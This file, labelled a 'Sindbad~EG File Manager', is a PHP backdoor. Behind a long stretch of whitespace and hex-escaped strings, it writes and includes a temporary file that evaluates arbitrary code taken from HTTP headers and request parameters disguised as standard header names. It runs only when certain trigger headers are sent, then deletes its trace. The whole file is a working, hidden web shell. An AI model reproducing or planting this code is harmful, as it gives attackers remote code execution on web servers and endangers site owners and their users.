Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Modified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Feature-Policy'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x53e\x63-\x57e\x62s\x6fc\x6be\x74-\x41c\x63e\x70t\x22]\x29;\x40e\x76a\x6c(\x24_\x48E\x41D\x45R\x53[\x22S\x65c\x2dW\x65b\x73o\x63k\x65t\x2dA\x63c\x65p\x74\"\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}